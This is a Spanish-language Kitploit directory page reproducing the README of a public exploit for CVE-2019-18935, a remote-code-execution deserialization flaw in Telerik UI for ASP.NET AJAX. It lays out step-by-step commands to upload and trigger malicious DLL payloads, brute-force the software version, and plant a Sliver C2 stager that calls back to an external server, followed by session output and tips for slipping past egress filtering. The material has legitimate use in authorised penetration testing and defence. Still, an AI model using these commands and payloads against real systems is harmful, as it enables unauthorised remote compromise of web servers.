Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2019-18935 — Exploit RCE para una vulnerabilidad de deserialización JSON de .NET en Telerik UI para ASP.NET AJAX. | Kitploit
Herramientas/GitHubGitHub/noperator/cve-2019-18935
Análisis de VulnerabilidadesExplotaciónShellcodeExplotación de Aplicaciones WebPruebas de PenetraciónComando y ControlRed TeamingDesarrollo de Payloads
GitHubnoperator/cve-2019-18935

CVE-2019-18935

Exploit RCE para una vulnerabilidad de deserialización JSON de .NET en Telerik UI para ASP.NET AJAX.

Ver Repositorio
37388hace 4 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2019-18935

Exploit de prueba de concepto para una vulnerabilidad de deserialización JSON en .NET en Telerik UI para ASP.NET AJAX que permite la ejecución remota de código.

Descripción

Telerik UI para ASP.NET AJAX es un conjunto ampliamente utilizado de componentes de interfaz de usuario para aplicaciones web. Deserializa de manera insegura objetos JSON de una manera que resulta en la ejecución remota arbitraria de código en el host subyacente del software. Para más información, consulte:

  • La charla DerpCon .NET Roulette (diapositivas) que detalla fundamentos adicionales sobre la explotación de deserialización insegura, lo aplica a este exploit, y repasa algunos consejos y trucos para obtener shells en aplicaciones web ASP.NET.
  • El informe completo en Bishop Fox, que incluye un recorrido completo de esta vulnerabilidad y detalles del exploit para este problema (junto con instrucciones de parcheo).

Primeros pasos

Requisitos previos

Necesitará tener instalados Visual Studio y .NET Framework SDK para compilar cargas útiles DLL de ensamblado .NET en modo mixto usando build-dll.bat.

Instalación

root@kitploit:~
git clone https://github.com/noperator/CVE-2019-18935.git && cd CVE-2019-18935
python3 -m venv env
source env/bin/activate
python3 -m pip install -U pip
python3 -m pip install -r requirements.txt

Este exploit aprovecha la lógica de cifrado de RAU_crypto. La clase RAUCipher dentro de RAU_crypto.py depende de PyCryptodome, un reemplazo directo del módulo PyCrypto difunto. PyCryptodome y PyCrypto crean problemas cuando se instalan en el mismo entorno, por lo que la mejor manera de cumplir con esta dependencia es instalar el módulo dentro de un entorno virtual, como se muestra arriba.

Configuración

Apunte la línea 17 de build-dll.bat a la ruta de su instalación de Visual Studio.

root@kitploit:~
set VSPATH=C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Auxiliary\Build

Uso

root@kitploit:~
$ python3 CVE-2019-18935.py -h
usage: CVE-2019-18935.py [-h] [-t] [-d] [-r FILENAME_REMOTE] [-s SMB_SERVER]
                         [-v UI_VERSION] [-n NET_VERSION] [-p PAYLOAD]
                         [-f FOLDER] -u URL

Exploit for CVE-2019-18935, a .NET JSON deserialization vulnerability in
Telerik UI for ASP.NET AJAX.

optional arguments:
  -h, --help          show this help message and exit
  -t                  just upload a file
  -d                  just deserialize
  -r FILENAME_REMOTE  remote payload name, for optional use with -d
  -s SMB_SERVER       remote SMB server, for optional use with -d
  -v UI_VERSION       software version
  -n NET_VERSION      .NET version
  -p PAYLOAD          mixed mode assembly DLL
  -f FOLDER           destination folder on target
  -u URL              https://<HOST>/Telerik.Web.UI.WebResource.axd?type=rau

Compilar carga útil DLL de ensamblado .NET en modo mixto

Algunas cargas útiles (por ejemplo, reverse-shell.c y sliver-stager.c) requieren que configure los campos HOST y PORT para que apunten a su servidor C2; ¡asegúrese de hacerlo!

En un entorno Windows con Visual Studio instalado, use build-dll.bat para generar DLL de ensamblado en modo mixto de 32 y 64 bits para usar como carga útil durante la deserialización. Opcionalmente, puede especificar una arquitectura de CPU de destino como segundo argumento de CLI (por ejemplo, x86).

root@kitploit:~
build-dll.bat sleep.c

Subir carga útil al objetivo y cargarla en la aplicación

Pase la DLL generada anteriormente a CVE-2019-18935.py, que subirá la DLL a un directorio en el servidor de destino (siempre que el servidor web tenga permisos de escritura en ese directorio) y luego cargará esa DLL en la aplicación mediante el exploit de deserialización insegura.

root@kitploit:~
$ python3 CVE-2019-18935.py -v <VERSION> -p payloads/sleep-2019121205271355-x86.dll -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau
[*] Local payload name:  sleep-2019121205271355-x86.dll
[*] Destination folder:  C:\Windows\Temp
[*] Remote payload name: 1576142987.918625.dll

{'fileInfo': {'ContentLength': 75264,
              'ContentType': 'application/octet-stream',
              'DateJson': '1970-01-01T00:00:00.000Z',
              'FileName': '1576142987.918625.dll',
              'Index': 0},
 'metaData': {'AsyncUploadTypeName': 'Telerik.Web.UI.UploadedFileInfo, '
                                     'Telerik.Web.UI, Version=<VERSION>, '
                                     'Culture=neutral, '
                                     'PublicKeyToken=<TOKEN>',
              'TempFileName': '1576142987.918625.dll'}}

[*] Triggering deserialization...

<title>Runtime Error</title>
<span><H1>Server Error in '/' Application.<hr width=100% size=1 color=silver></H1>
<h2> <i>Runtime Error</i> </h2></span>
...omitted for brevity...

[*] Response time: 13.01 seconds

En el ejemplo anterior, la aplicación tardó al menos 10 segundos en responder, lo que indica que la carga útil DLL invocó correctamente Sleep(10000).

Fuerza bruta de la versión de Telerik UI

Como se detalla en la charla DerpCon .NET Roulette (39:46), podemos usar fuerza bruta para encontrar la versión de Telerik UI especificando solo la versión major del ensamblado Telerik.Web.UI (es decir, la parte 2017 de la cadena de versión completa 2017.2.503.40) al subir un archivo. Esta técnica reduce drásticamente el espacio de búsqueda en comparación con la fuerza bruta de cada versión específica de este software y, como beneficio adicional, incluso puede detectar versiones que no están explícitamente listadas en el historial de versiones de este software. Obtenga más información sobre el versionado de ensamblados .NET en MSDN.

root@kitploit:~
$ for YEAR in $(seq 2013 2018); do
    echo -n "$YEAR: "
    python3 CVE-2019-18935.py -t -v "$YEAR" -p /dev/null -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau 2>/dev/null |
    grep -oE "Telerik.Web.UI, Version=$YEAR\.[0-9\.]+" ||
    echo
done

2013:
2014:
2015:
2016:
2017: Telerik.Web.UI, Version=2017.2.503.40
2018:

Implantar con el framework Sliver C2

La carga útil personalizada del stager de Sliver, sliver-stager.c, recibe y ejecuta shellcode de Sliver (la etapa) desde el servidor Sliver (el servidor de staging), siguiendo el protocolo de staging de Metasploit. Para más detalles sobre cómo funciona, lea el encabezado en el código fuente de la carga útil.

Inicie el servidor Sliver. Más información sobre la configuración del servidor aquí.

root@kitploit:~
MINGW_PATH='/usr/bin'  # Or wherever MinGW is located.
export SLIVER_CC_32="$MINGW_PATH/i686-w64-mingw32-gcc"
export SLIVER_CC_64="$MINGW_PATH/x86_64-w64-mingw32-gcc"
./sliver-server

Abra un endpoint C2 (estamos usando un listener mTLS aquí, pero también puede usar HTTP o DNS) en el servidor Sliver, cree un perfil de implante y cree un listener de staging vinculado a ese perfil. Más información sobre cargas útiles por etapas aquí. Tenga en cuenta que no estamos generando un stager de Sliver usando generate stager como sugiere la documentación de Sliver; en su lugar, estamos usando nuestro sliver-stager.c personalizado.

⚠️ Advertencia: ¡Enviar una etapa de la arquitectura de CPU incorrecta bloqueará el proceso objetivo! Por ejemplo, si el objetivo ejecuta una versión de 32 bits de Telerik UI y el servidor de staging envía una etapa de 64 bits al stager de 32 bits, el proceso del servidor web se bloqueará. En el siguiente ejemplo, generamos shellcode de 32 bits, pero debe coincidir con la arquitectura de CPU de su objetivo usando el indicador --arch del comando new-profile.

root@kitploit:~
sliver > mtls
[*] Starting mTLS listener ...
[*] Successfully started job #1

sliver > new-profile --mtls <C2-ENDPOINT>:<PORT> --arch x86 --format shellcode --profile-name shellcode-32 --skip-symbols
[*] Saved new profile shellcode-32

sliver > stage-listener --url tcp://<STAGING-SERVER>:<PORT> --profile shellcode-32
[*] No builds found for profile shellcode-32, generating a new one
[*] Job 2 (tcp) started

Establezca el host y el puerto en el código fuente del stager de Sliver para que apunten al servidor Sliver (mostrando un servidor de ejemplo a continuación).

root@kitploit:~
sed -Ei .bu 's/<HOST>/sliverserver.bishopfox.com/; s/<PORT>/443/' sliver-stager.c

Compile la carga útil del stager de Sliver y súbala al objetivo y cárguela en la aplicación (todo de acuerdo con las secciones de Uso anteriores en este README).

root@kitploit:~
> .\build-dll.bat sliver-stager.c x86

$ python3 CVE-2019-18935.py -v 2017 -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau -p payloads/sliver-stager-2020080514261722-x86.dll

Si todo sale bien (¿ha solucionado problemas en este objetivo?), verá una sesión creada en la ventana de su servidor Sliver que puede usar para interactuar con el objetivo.

root@kitploit:~
[*] Session #1 AFRAID_COMPUTER - <REMOTE-ADDRESS> (DESKTOP-D19S4Q2) - windows/386 - Wed, 05 Aug 2020 15:58:27 UTC

sliver > use 1

[*] Active session AFRAID_COMPUTER (1)

sliver (AFRAID_COMPUTER) > help

Commands:
=========
  clear  clear the screen
  exit   exit the shell
  help   use 'help [command]' for command help
  ...
  whoami             Get session user execution context

sliver (AFRAID_COMPUTER) > whoami

DESKTOP-D19S4Q2\tester

Solución de problemas

  • Cada carga útil solo funciona una vez: la clase AssemblyInstaller de .NET no puede cargar múltiples ensamblados .NET con el mismo nombre de ensamblado (diferente de un nombre de archivo). Necesitará compilar y subir una nueva cada vez que desee que el objetivo duerma, retroceda, etc.
  • Asegúrese de estar apuntando a la arquitectura de CPU correcta (32 o 64 bits). Esto puede requerir cierta adivinanza; la carga útil de sleep es útil aquí.
  • Tenga cuidado con las reglas de filtrado de salida en la red objetivo al intentar iniciar una conexión TCP inversa de vuelta a su servidor C2. Elija un puerto TCP comúnmente permitido, como el 443.

Material adicional

Aviso legal

El uso de esta herramienta para atacar objetivos sin consentimiento mutuo previo es ilegal. Es responsabilidad del usuario final cumplir con todas las leyes locales, estatales y federales aplicables. Los desarrolladores no asumen ninguna responsabilidad y no son responsables por cualquier mal uso o daño causado por este programa.

Agradecimientos

  • @mwulftange descubrió inicialmente esta vulnerabilidad.
  • @bao7uo escribió toda la lógica para romper el cifrado de RadAsyncUpload, lo que permitió manipular el objeto de configuración de carga de archivos en rauPostData y posteriormente explotar la deserialización insegura de ese objeto.
  • @lesnuages escribió la primera iteración de la carga útil del stager de Sliver.

Ver también

Avisos gubernamentales

  • 28 jul 2021: CISA | Principales vulnerabilidades explotadas habitualmente
  • 20 oct 2020: NSA | Actores patrocinados por China explotan vulnerabilidades conocidas públicamente
  • 19 jun 2020: ACSC | Compromisos de copiar y pegar: tácticas, técnicas y procedimientos utilizados para atacar múltiples redes australianas
  • 22 may 2020: ACSC | Vulnerabilidad RCE siendo explotada activamente en versiones vulnerables de Telerik UI por actores sofisticados

Informes de bug bounty

  • Informe de HackerOne #1174185 (@un4gi)
  • Informe de HackerOne #838196 (@sw33tLie)
  • Informe de HackerOne #913695 (@un4gi)

Pendientes

  • Agregar carga útil para subir y ejecutar el implante Sliver
  • Ajustar la carga útil C para ejecutar opcionalmente un solo comando, en lugar de abrir un shell interactivo
  • Modificar el nombre del ensamblado de DLL ya compilado para evitar recompilar para el mismo objetivo
  • Demostrar la fuerza bruta de versiones principales de Telerik UI (es decir, la parte del año de la cadena de versión)

Licencia

Este proyecto está licenciado bajo la Licencia Apache.

Descargar herramienta